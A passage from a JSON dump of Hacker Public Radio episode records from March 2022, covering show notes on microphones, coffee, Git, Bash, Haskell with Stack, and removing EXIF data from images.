                                                            \n","hostid":399,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"browsers,firefox,qutebrowser,tridactyl","version":0,"downloads":0,"valid":1}, {"id":3544,"date":"2022-03-03","title":"All my microphones","duration":655,"summary":"A show recording using every microphone I had to hand.","notes":"

                                                            I used the following microphones in roughly reverse order of my expectations of their quality:

                                                            \n
                                                              \n
                                                            • Blue Yeti via USB
                                                            • \n
                                                            • Plantronics headset via USB (no link as over 10 years old)
                                                            • \n
                                                            • Laptop (ASUS ZenBook UX550VD) internal mic
                                                            • \n
                                                            • Desktop mic on a Windows 10 PC via a jack plug (no link as over 10 years old)
                                                            • \n
                                                            • Phone (Samsung S9+) internal microphone
                                                            • \n
                                                            • Same phone but with T1 bluetooth earbuds
                                                            • \n
                                                            \n

                                                            All audio is mono. I used Audacity to record on my laptop at 44.1kHz. For the desktop mic I had to resort to using my son's desktop Windows 10 PC and Windows recording app which defaulted to 48kHz and I think it was the app rather than the mic that resulted in the surprisingly poor quality. It definitely sounds like some kind of noise gate is being applied but I didn't dig around to see what settings were available. For my phone's built-in mic I used Samsung's voice recording app which I presume came pre-installed on the phone. Recording via bluetooth on an android phone turned out to be tricky as the OS only wants you to use a bluetooth microphone for calls however I found an app called Bluetooth Headset Voice Recorder and then enabled call audio on bluetooth and was able to record (the rubbish) audio.

                                                            \n

                                                            I edited this show in audacity and contrary to my normal practice I did not remove noise from any of the recordings so that you can hear any hiss in all its glory. I did however tweak the gain on each track manually so that they were about the same volume.

                                                            \n","hostid":268,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio,microphone,headset,Plantronics,ASUS ZenBook UX550VD","version":0,"downloads":0,"valid":1}, {"id":3545,"date":"2022-03-04","title":"How I make coffee","duration":302,"summary":"Making coffee, and a podcast recommendation","notes":"

                                                            Coffeemaker

                                                            \n
                                                              \n
                                                            • Bunn model: Speedbrew
                                                            • \n
                                                            • Heats a reservoir to 200 ℉
                                                            • \n
                                                            • Displaces a minimum of 4 cups for a fresh pot
                                                            • \n
                                                            \n

                                                            Bunn Coffeemaker and grinder
                                                            \n\"Bunn
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            This was too coarse, but still had a good taste
                                                            \n\"This
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Coffee of the day

                                                            \n
                                                              \n
                                                            • Door County Coffee and Tea Co.: Jingle Bell Java\n
                                                                \n
                                                              • Located in the U.S., in Sturgeon Bay, Wisconsin
                                                              • \n
                                                            • \n
                                                            \n

                                                            Jingle Bell Java
                                                            \n\"Jingle
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Ham Radio Crash Course

                                                            \n\n","hostid":318,"series":88,"explicit":0,"license":"CC-BY-SA","tags":"coffee, podcast, ham radio","version":0,"downloads":0,"valid":1}, {"id":3546,"date":"2022-03-07","title":"HPR Community News for February 2022","duration":3665,"summary":"Dave, Roan and Ken talk about shows released and comments posted in February 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n takov751.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3522Tue2022-02-01Set up your Robot Building Lab and build a $0 Robot PlatformMechatroniac
                                                            3523Wed2022-02-02The Compose keydnt
                                                            3524Thu2022-02-03Wheels Addendum - How to Reliably Attach Wheels to PAR Robot PlatformMechatroniac
                                                            3525Fri2022-02-04Battling with English - part 4Dave Morriss
                                                            3526Mon2022-02-07HPR Community News for January 2022HPR Volunteers
                                                            3527Tue2022-02-08My gEeeky Experiment - Part 3Claudio Miranda
                                                            3528Wed2022-02-09Slackware on a netbookArcher72
                                                            3529Thu2022-02-10Linux Inlaws S01E48: Year Two of the Five Year Planmonochromec
                                                            3530Fri2022-02-11Filenames and ASCIIAhuka
                                                            3531Mon2022-02-14Barrier: Software KVMWindigo
                                                            3532Tue2022-02-15Self-hosting in small scale E0: Disclaimer and general ideatakov751
                                                            3533Wed2022-02-16Porridgednt
                                                            3534Thu2022-02-17Vernier caliperKen Fallon
                                                            3535Fri2022-02-18template HaskellTuula
                                                            3536Mon2022-02-21Laptop power problemsAndrew Conway
                                                            3537Tue2022-02-22getting to blinky with flashforthBrian in Ohio
                                                            3538Wed2022-02-23Installing the Tenacity audio editorArcher72
                                                            3539Thu2022-02-24Linux Inlaws S01E50: The OpenSUSE Projectmonochromec
                                                            3540Fri2022-02-25HSV Components Layer ModesAhuka
                                                            3541Mon2022-02-28The case of missing ideas.one_of_spoons
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 9 comments on\n7 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2881\n(2019-08-19) \"Automatically split album into tracks in Audacity\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKen Fallon on 2022-02-08:\n\"I knew I heard how to do this somewhere\"

                                                              \n
                                                            • hpr3228\n(2020-12-16) \"YAML basics\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nWindigo on 2022-02-21:\n\"Exactly what I needed\"

                                                              \n
                                                            • hpr3286\n(2021-03-08) \"Wireguard How To\"\nby timttmy.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2022-02-05:\n\"Thanks again\"
                                                              • \n
                                                              • \nComment 2:\ntimttmy on 2022-02-13:\n\"Me too!\"

                                                              \n
                                                            • hpr3289\n(2021-03-11) \"NextCloud the hard way\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2022-02-05:\n\"Wasting shows\"

                                                              \n
                                                            • hpr3315\n(2021-04-16) \"tesseract optical character recognition\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2022-02-13:\n\"Yet another one\"

                                                              \n
                                                            • hpr3472\n(2021-11-23) \"consuming an AQI API\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nStache_AF on 2022-02-17:\n\"Thank you\"

                                                              \n
                                                            • hpr3504\n(2022-01-06) \"James Webb Space Telescope\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2022-02-03:\n\"How L2 works\"
                                                              • \n
                                                              • \nComment 3:\nclacke on 2022-02-03:\n\"Re: centrifugal force\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 20 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr3523\n(2022-02-02) \"The Compose key\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nLinuxMintXFCE on 2022-02-21:\n\"Compose\"

                                                              \n
                                                            • hpr3525\n(2022-02-04) \"Battling with English - part 4\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nXoke on 2022-02-04:\n\"Multiple words in a row\"
                                                              • Comment 2:\nDave Morriss on 2022-02-08:\n\"Where Jones had had \"had\" ...\"
                                                              • Comment 3:\ndnt on 2022-02-10:\n\"processes\"
                                                              • Comment 4:\nwynaut on 2022-02-10:\n\"thanks!\"
                                                              • Comment 5:\nDave Morriss on 2022-02-11:\n\"Re: processes\"
                                                              • Comment 6:\nDave Morriss on 2022-02-11:\n\"Hope you find the episodes useful, wynaut\"

                                                              \n
                                                            • hpr3526\n(2022-02-07) \"HPR Community News for January 2022\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-02-16:\n\"Comments\"

                                                              \n
                                                            • hpr3527\n(2022-02-08) \"My gEeeky Experiment - Part 3\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-02-15:\n\"PATA and Netbooks\"
                                                              • Comment 2:\nClaudioM on 2022-02-21:\n\"Re; PATA and Netbooks\"

                                                              \n
                                                            • hpr3531\n(2022-02-14) \"Barrier: Software KVM\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2022-02-16:\n\"Old school KVMs\"

                                                              \n
                                                            • hpr3533\n(2022-02-16) \"Porridge\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2022-02-16:\n\"interesting\"
                                                              • Comment 2:\nTrey on 2022-02-16:\n\"Steel Cut Oats\"
                                                              • Comment 3:\nDave Morriss on 2022-02-16:\n\"Great show topic, excellent show\"

                                                              \n
                                                            • hpr3534\n(2022-02-17) \"Vernier caliper\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAaronb on 2022-02-18:\n\"At 66 Years old. . . .\"
                                                              • Comment 2:\nAaronb on 2022-02-18:\n\"sorry forgot the Link\"

                                                              \n
                                                            • hpr3536\n(2022-02-21) \"Laptop power problems\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nZen_floater2 on 2022-02-22:\n\"I have the Google GO pro chromebook, had the same problems\"

                                                              \n
                                                            • hpr3538\n(2022-02-23) \"Installing the Tenacity audio editor\"\nby Archer72.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKen Fallon on 2022-02-08:\n\"How to run it\"
                                                              • Comment 2:\nRandom_Linux_User on 2022-02-27:\n\"Re hpr3538 :: Installing the Tenacity audio editor\"

                                                              \n
                                                            • hpr3541\n(2022-02-28) \"The case of missing ideas.\"\nby one_of_spoons.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\npublius on 2022-02-28:\n\"\"Have\" constructions\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-February/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Older HPR shows on archive.org

                                                            \n

                                                            This month 120 additional shows in the range 1-870 have been uploaded.

                                                            \n

                                                            The number of shows left to upload in this range is now: 4.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3547,"date":"2022-03-08","title":"Password Managers","duration":811,"summary":"How I manage password security.","notes":"

                                                            How I manage password security.

                                                            \n
                                                              \n
                                                            1. Bitwarden
                                                            2. \n
                                                            \n\n
                                                              \n
                                                            1. KeePassXC
                                                            2. \n
                                                            \n\n
                                                            \n

                                                            \"Creative
                                                            This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Password Managers, Online Security, Bitwarden, KeePassXC","version":0,"downloads":0,"valid":1}, {"id":3548,"date":"2022-03-09","title":"Make a custom Git command","duration":1177,"summary":"Make Git subcommands with shell scripts and Git rev-parse","notes":"

                                                            \nHow to make your own Git subcommands with shell scripts, and then how to pass arguments to them with git rev-parse.

                                                            \n\n

                                                            \nFor a real-world example of Git in scripts and hooks, see Git-portal.

                                                            \n\n

                                                            The joke site Klaatu mentions in the episode is \ngit-man-page-generator. It's a joke site. Do not attempt to run these commands. However, it could be fun inspiration on what Git command you could make next!

                                                            \n","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git","version":0,"downloads":0,"valid":1}, {"id":3549,"date":"2022-03-10","title":"Linux Inlaws S01E51: git and static site generators","duration":3206,"summary":"git and static site generators","notes":"

                                                            Another fortnight, another episode of our beloved podcast called Linux\nInlaws :-). What starts as an episode on the history of Central Europe and the\nrole of the Netherlands and Germany in the greater scheme of things rapidly\nmoves sideways into a discussion of git-powered static HTML website generators\nin contrast to context management systems (CMSs) and their advantages,\ndisadvantages and why the hell even think about this. Chris uses an innocent\n(?) Linux User Group (LUG) as an example for a successful site migration from\na Python-powered CMS to a version of the website based on a static site\ngenerator written in Go and called Hugo. Even if you may find this boring to\ntears stay tuned as there may be an unexpected ending of this ditty in the\nshape of two interesting poxes...

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"git, content management systems, MoinMoin, HUGO, static site generators, HPR, PEPs, gitea, Reacher","version":0,"downloads":0,"valid":1}, {"id":3550,"date":"2022-03-11","title":"Format; Copy; Diskcopy; Xcopy","duration":1202,"summary":"We continue our look at the old warhorse, DOS. This time it is Format and Copy commands","notes":"

                                                            This tutorial is mostly about working with floppy disks, or diskettes, though we also mention the formatting of hard drives, which generally required the use of a floppy drive and diskette to accomplish.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":117,"explicit":0,"license":"CC-BY-SA","tags":"DOS, early PC computing, Format, Copy, Diskcopy, Xcopy","version":0,"downloads":0,"valid":1}, {"id":3551,"date":"2022-03-14","title":"Bash snippet - some possibly helpful hints","duration":1475,"summary":"Using 'eval', 'mapfile' and environment variables","notes":"

                                                            Overview

                                                            \n

                                                            I write a moderate number of Bash scripts these days. Bash is not a programming language as such, but it’s quite powerful in what it can do by itself, and with other tools it’s capable of many things.

                                                            \n

                                                            I have enjoyed writing such scripts for many years on a variety of hardware and operating systems, and Bash is my favourite - partly because Linux itself is so flexible.

                                                            \n

                                                            This is just a short show describing three things I tend to do in Bash scripts to assist with some tasks I find I need to undertake.

                                                            \n
                                                              \n
                                                            1. Generate Bash variables from a text file - usually output from a program
                                                            2. \n
                                                            3. Fill Bash arrays with data from a file or other source
                                                            4. \n
                                                            5. Use environment variables to control the Bash script’s execution
                                                            6. \n
                                                            \n

                                                            Long notes

                                                            \n

                                                            Follow this link to read the detailed notes associated with this episode.

                                                            \n

                                                            Links

                                                            \n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,eval,mapfile,environment variables","version":0,"downloads":0,"valid":1}, {"id":3552,"date":"2022-03-15","title":"Unboxing a PineTime development kit","duration":1684,"summary":"Rho`n talks about his new PineTime smart watch development kit","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode, Rho`n unboxes his new PineTime smart watch development kit, and gives his initial impressions. The development kit consists of two watches. One watch is fully assembled and ready for daily use. The other watch is disassembled, consisting of a watch band, the watch back cover, and the assembled display, system on a chip (SOC), CPU, and battery. The kit also comes with a serial cable for connecting from your computer to the SOC.

                                                            \n\n

                                                            The following are the photographs taken during the unboxing.

                                                            \n\n\n\n
                                                            \n
                                                            \n\t\"Box\n\t
                                                            \n
                                                            Box containing PrimeTime development kit beside PineTime Pogopin Jig
                                                            \n
                                                            \n
                                                            \n \"Open\n\t
                                                            \n
                                                            Open box displaying watch faces
                                                            \n
                                                            \n
                                                            \n \"Contents\n\t
                                                            \n
                                                            Contents of the development kit
                                                            \n
                                                            \n
                                                            \n \"Assembled\n\t
                                                            \n
                                                            Assembled watch on a charger
                                                            \n
                                                            \n
                                                            \n\n

                                                            References

                                                            \n\n\n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"pinetime, pine64, smart watch, InfiniTime","version":0,"downloads":0,"valid":1}, {"id":3553,"date":"2022-03-16","title":"Freedom of speech in open source","duration":1432,"summary":"Is it free speech if you have to leave?","notes":"
                                                              \n
                                                            1. First Amendment (United States Constitution).
                                                              \nCongress shall make no law respecting an establishment of religion, or prohibiting the free exercise thereof; or abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.
                                                            2. \n
                                                            \n
                                                            \n
                                                              \n
                                                            1. Read arch users the riot act.
                                                            2. \n
                                                            \n\n","hostid":391,"series":69,"explicit":1,"license":"CC-BY-SA","tags":"Free Speech","version":0,"downloads":0,"valid":1}, {"id":3554,"date":"2022-03-17","title":"Guide to the Science and Technology Section of Bitchute","duration":775,"summary":"Guide to some cool science and tech channels on Bitchute","notes":"

                                                            Forgot to mention this channel in the podcast
                                                            \nhttps://www.bitchute.com/channel/yourprivacytv/

                                                            \n

                                                            Cozytime
                                                            \nhttps://www.bitchute.com/channel/2mM8L9mZnvjt/

                                                            \n

                                                            Grassroots Mechanic Movement
                                                            \nhttps://www.bitchute.com/channel/miGkQfBM24NZ/

                                                            \n

                                                            too lazy to add any more channels... make an account and you can browse and subscribe too.

                                                            \n","hostid":401,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"bitchute,videos,technology,science","version":0,"downloads":0,"valid":1}, {"id":3555,"date":"2022-03-18","title":"PopKorn Episode 1: The Fallacy of the Unreasonable Effectiveness of Mathematics in the ETC","duration":969,"summary":"BlacKernel tries talking off the cuff with mixed results","notes":"

                                                            Talking Points

                                                            \n
                                                              \n\t
                                                            • The concept of PopKorn
                                                            • \n\t
                                                            • The statement of \"The Unreasonable Effectiveness of Mathematics in the Natural Sciences\"
                                                            • \n\t
                                                            • The Fine-structure Constant
                                                            • \n\t
                                                            • The Axiom of Extentionality
                                                            • \n\t
                                                            • Why proofs of God are crap
                                                            • \n\t
                                                            • The \"First Mover\" argument of St. Thomas Aquinus
                                                            • \n\t
                                                            • The Blind Watchmaker by Dawkins
                                                            • \n
                                                            \n\n
                                                            \n\n

                                                            Show Notes

                                                            \n

                                                            Important Links:

                                                            \n\n\n

                                                            Wikipedia Articles:

                                                            \n\n\n
                                                            \n\nContact Me\n\n","hostid":396,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"improv, math, popkorn, fallacy","version":0,"downloads":0,"valid":1}, {"id":3556,"date":"2022-03-21","title":"TTS for HPR","duration":226,"summary":"Few voice samples to swap espeak TTS in HPR intro","notes":"

                                                            Used the opentts Project with default settings. The voices you will hear in order:

                                                            \n
                                                              \n
                                                            • coqui_en_ljspeech
                                                            • \n
                                                            • larynx_northern_english_male
                                                            • \n
                                                            • larynx_southern_english_female
                                                            • \n
                                                            • larynx_scottish_english_male
                                                            • \n
                                                            • larynx_glados
                                                            • \n
                                                            \n

                                                            I found the gladOS voice funny, hence I included that one, but these are the best sounding to my knowledge so far.

                                                            \n

                                                            I have seen that with there will be a new mimic release version 3 soon, which has a really great voice. And example with the voice of Alan Pope mycroft_demo. And synesthesiam who's working on these projects said that there will be hopefully a model, which can be trained with actual voice, which would fine tune the voice to sounds more like someone else.

                                                            \n","hostid":402,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"tts, hpr","version":0,"downloads":0,"valid":1}, {"id":3557,"date":"2022-03-22","title":"A short story about Lenovo and laptop batteries","duration":580,"summary":"How Lenovo is spicing up the life of their user with strange challenges","notes":"\n","hostid":309,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"lenovo,batteries,BIOS,customer service","version":0,"downloads":0,"valid":1}, {"id":3558,"date":"2022-03-23","title":"How I'm learning Haskell","duration":1394,"summary":"Tuula talks about how she's learning Haskell","notes":"

                                                            Online resources mentioned in the episode for learning Haskell:

                                                            \n\n

                                                            Books about Haskell:

                                                            \n\n

                                                            Blogs I follow:

                                                            \n\n

                                                            Important reminders:

                                                            \n
                                                              \n
                                                            • haskell isn't impossible
                                                            • \n
                                                            • you don't need math degree to write Haskell
                                                            • \n
                                                            • you don't need to know category theory
                                                            • \n
                                                            • you need practice, you most likely can't just stare at code and learn it like that
                                                            • \n
                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, learning, programming, blogs, books","version":0,"downloads":0,"valid":1}, {"id":3559,"date":"2022-03-24","title":"Linux Inlaws S01E52: The Zig Project","duration":4151,"summary":"An interview with Loris Cro of Zig Fame","notes":"

                                                            In this episode Martin and Chris have a very special guest: Loris Cro of\nZig fame. Zig fame? Stay tuned. Not only is Loris an ex-colleague of our two\naging heroes, he is also the community vice president at the Zig Software\nFoundation. So this episode will be all about this new programming language,\nwhy you should use it (and perhaps why you shouldn't) and life, the universe\nand the rest. And Rust. Of course. :-) Full disclosure: In contrast to other\nepisodes, this one is really tech-heavy and may offend the less technical\nlisteners. Listen at your own discretion if you want to into the weeds of\nClang, LLVM, typing and cross-compilation - you have been warned. If this is\nup alley, you may want consider seeking professional help just in case :-).

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Zig, Zig Software Foundation, Rust, Money, Miami Vice, US Non-Profits","version":0,"downloads":0,"valid":1}, {"id":3560,"date":"2022-03-25","title":"LCh Components Layer Modes","duration":758,"summary":"More on Layer Modes in GIMP with the LCh Components Modes","notes":"

                                                            Layer Modes, sometimes called Blending Modes, allow you to combine layers in a variety of ways. We continue with the LCh Components Modes, which brings us to yet another color model, in this case the Hue, Saturation, and Value model. We've already looked at RGB, which is the model used for most broadcast and online uses, and the CMYK model which is used for printing, and in the previous tutorial we looked at the HSV model. This wraps up our look at color models, and also concluded our look at Layer Modes (or Blending Modes). These are the Layer Modes available on the latest (at the time I write this) version of GIMP, 2.10.24.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, Layer Modes, Blending Modes, LCh Components Modes","version":0,"downloads":0,"valid":1}, {"id":3561,"date":"2022-03-28","title":"Employment security","duration":410,"summary":"Phone system for the state of Illinois","notes":"

                                                            Going through the phone system for the state of Illinois in the United States.

                                                            \n

                                                            Feel free to record your experience with various states/countries.

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Phone call, IDES, Unemployment, Government, Firefox, Internet Explorer","version":0,"downloads":0,"valid":1}, {"id":3562,"date":"2022-03-29","title":"Creating a new project with Haskell and Stack","duration":1230,"summary":"Tuula explains how to create a new haskell project and build it","notes":"

                                                            Stack

                                                            \n

                                                            Stack is a cross-platform program for developing Haskell projects. It features:

                                                            \n
                                                              \n
                                                            • Installing GHC automatically, in an isolated location.
                                                            • \n
                                                            • Installing packages needed for your project.
                                                            • \n
                                                            • Building your project.
                                                            • \n
                                                            • Testing your project.
                                                            • \n
                                                            • Benchmarking your project.
                                                            • \n
                                                            \n

                                                            Follow installation instructions to get it installed in your system.

                                                            \n

                                                            Starting a new project

                                                            \n

                                                            Our game will be called Treasure Dungeon. After installing stack, we'll open a new terminal window, change into some suitable directory and use stack to create our project: stack new treasure-dungeon rio.

                                                            \n

                                                            This will create directory treasure-dungeon and initialize it by using rio template. rio is a standard library that I have recently started using. There's a tutorial available if you want to learn more about it. We'll cover only very basics while writing the game.

                                                            \n

                                                            package.yaml

                                                            \n

                                                            Next step is to modify the project settings for the project that was created for us. Have a look at license file and change that to your liking. Then open up package.yaml and edit some of the metadata:

                                                            \n
                                                              \n
                                                            • git this should point to your public repository
                                                            • \n
                                                            • license this has machine readable info about the license terms
                                                            • \n
                                                            • author here you should fill in your info
                                                            • \n
                                                            • maintainer this is the person currently maintaining the package
                                                            • \n
                                                            • copyright Copyright information
                                                            • \n
                                                            • executablebles this section lists executable, you may want to edit the name
                                                            • \n
                                                            \n

                                                            I have a repository at codeberg if you want to have a look what settings I ended up with.

                                                            \n

                                                            stack.yaml

                                                            \n

                                                            Having finished with package.yaml, save it and start editing stack.yaml. Here we change only one setting: - resolver: lts-18.27, this specifies which set of libraries to use. These are fetched from Stackage.

                                                            \n

                                                            Final step is to edit README.md to suit your needs.

                                                            \n

                                                            Using stack

                                                            \n

                                                            Now we can work on our project. Lets start by building it: stack build. This will build the example code. There's one library and one executable there. If everything went correctly, we can start our executable with stack exec -- treasure-dungeon. This should print a little message on screen and exit. We can also turn on verbose logging, by starting the project with stack exec -- treasure-dungeon --verbose 2> log.txt.

                                                            \n

                                                            Another useful command is stack test, which will compile and run tests for the project. There's couple simple ones as an example created by the template.

                                                            \n

                                                            And if you want to clean up your project of intermediate files and exes, you can use stack clean.

                                                            \n

                                                            Project structure

                                                            \n

                                                            Final thing before finishing, let's have a look at the project structure. There's three directories: app, src and test.

                                                            \n

                                                            app contains code for our executable. This is where we will be placing big portion of the code, mainly one that deals with user interactions.

                                                            \n

                                                            src contains code for our library. This is where we will be placing code that codifies rules of the game. We want to keep this part of the code oblivious about outside world, like screens, user input and such.

                                                            \n

                                                            test this is where tests live. We aren't going to do much with them most likely.

                                                            \n

                                                            In closing

                                                            \n

                                                            We started our card game project. It doesn't do much yet, but we already have an executable that we can build and run. Next time we'll look into how to roll a new character and get them equipped before venturing into treasure dungeon.

                                                            \n

                                                            ad astra!

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell, programming, getting started","version":0,"downloads":0,"valid":1}, {"id":3563,"date":"2022-03-30","title":"Home Coffee Roasting, part 1","duration":1123,"summary":"What it's like to roast coffee at home","notes":"

                                                            Links

                                                            \n

                                                            Example of a coffee page

                                                            \n

                                                            Green coffee outlook for March

                                                            \n

                                                            A neat video of first crack

                                                            \n

                                                            Coffee Glossary

                                                            \n

                                                            Article on Zimbabwe coffee

                                                            \n

                                                            Ethiopian Cini cups

                                                            \n

                                                            If I left anything out, let me know in the comments or email me.

                                                            \n

                                                            I think I mentioned in the show that I would put in the sound of first crack, but then it didn't work because the motor was too loud and you couldn't hear anything. Sorry.

                                                            \n

                                                            For part 2, see hpr3573

                                                            \n","hostid":399,"series":88,"explicit":0,"license":"CC-BY-SA","tags":"coffee,\"coffee roasting\"","version":0,"downloads":0,"valid":1}, {"id":3564,"date":"2022-03-31","title":"Removing EXIF data from an image","duration":745,"summary":"An image might reveal data you want to keep private","notes":"

                                                            Introduction

                                                            \n

                                                            I’m writing a script to process image files sent in by HPR hosts with their shows. One of the things the script does is to strip Exif metadata from such images. That’s because this metadata may contain details that could identify the creator of the image - their camera, their location, and other things. Many people will be alert to this, but in case anything slips through it seems a courtesy to anonymise images sent to HPR.

                                                            \n

                                                            As I was implementing this I realised that one piece of Exif data: 'Orientation', can’t just be removed. Sometimes images are created with a particular orientation by the camera but are written with an Exif orientation setting that shows another orientation. If this is just removed the image might be shown wrongly.

                                                            \n

                                                            This short episode describes the journey I had learning about this issue and finding how to get round it.

                                                            \n

                                                            The Problem

                                                            \n

                                                            A show was sent in early March 2022 which had three images with orientation values in the Exif metadata. They had apparently been taken with one orientation but were being rotated for viewing.

                                                            \n

                                                            I later discovered that the orientation setting can be viewed with the exiftool command:

                                                            \n
                                                            $ exiftool -orientation testimage.jpg\nOrientation                     : Rotate 90 CW
                                                            \n

                                                            You can find information about the Orientation tag on the ExifTool web site.

                                                            \n

                                                            The actual image in this case is rotated 90° anti-clockwise (the top of the image is to the left) and this needs to be reversed. The setting 'Rotate 90 CW' causes it to be displayed after rotating 90° in the clockwise direction. The actual value for this setting is 6.

                                                            \n

                                                            The problem is that removing all the Exif data causes such an image to revert to its raw state as explained below.

                                                            \n

                                                            Investigation

                                                            \n

                                                            Demonstration

                                                            \n

                                                            It took me a little while to understand this problem because I couldn’t find a good explanation of what was going on.

                                                            \n

                                                            I found a repository on GitHub which would take a picture and generate all of the possible Exif orientations from it. I used it to generate pictures from one (a thumbnail) I used in an old HPR show. Here’s the original picture with an orientation setting of 6 (Rotate 90 CW), and then with the Exif metadata removed.

                                                            \n

                                                            Original image with orientation 6
                                                            \n\"Original

                                                            \n

                                                            Same image with Exif stripped
                                                            \n\"Same

                                                            \n

                                                            Methods used to fix this

                                                            \n

                                                            I found and installed some tools:

                                                            \n
                                                              \n
                                                            • jpegexiforient - reads or writes the Exif Orientation Tag
                                                            • \n
                                                            • exifautotran - transforms Exif files so that Orientation becomes 1
                                                            • \n
                                                            • jpegtran - lossless transformation of JPEG files
                                                            • \n
                                                            \n

                                                            Note that these only operate on JPEG images.

                                                            \n

                                                            The exifautotran tool is a shell script that uses jpegexiforient to find the orientation and jpegtran to undo whatever rotation (or other transformation) has been defined.

                                                            \n

                                                            Reading the exifautotran script helped me understand all of this, but I did not use these tools in the end.

                                                            \n

                                                            In the script I had written to manage images I also needed to do other image operations:

                                                            \n
                                                              \n
                                                            • interrogate the image to find its size to determine whether a thumbnail was needed
                                                            • \n
                                                            • make a thumbnail if necessary
                                                            • \n
                                                            \n

                                                            To do this I had started to use the GraphicsMagick package.

                                                            \n

                                                            This package actually caters for the orientation transformation I wanted to perform and can handle many image types, not just JPEG.

                                                            \n

                                                            The technique is to use the command 'gm convert' with two options:

                                                            \n
                                                              \n
                                                            • -strip - remove all profiles and text attributes from the image
                                                            • \n
                                                            • -auto-orient - orient (rotate) the image so it is upright; adjusts the image orientation so that it is suitable for viewing
                                                            • \n
                                                            \n

                                                            Example:

                                                            \n
                                                            gm convert -strip -auto-orient sideways_pic.jpg normal_pic.jpg\n\n
                                                            \n

                                                            Running this on the images in question removed the Exif orientation after having rotated the pixels of the image to the 'Horizontal (normal)' state.

                                                            \n

                                                            Conclusion

                                                            \n

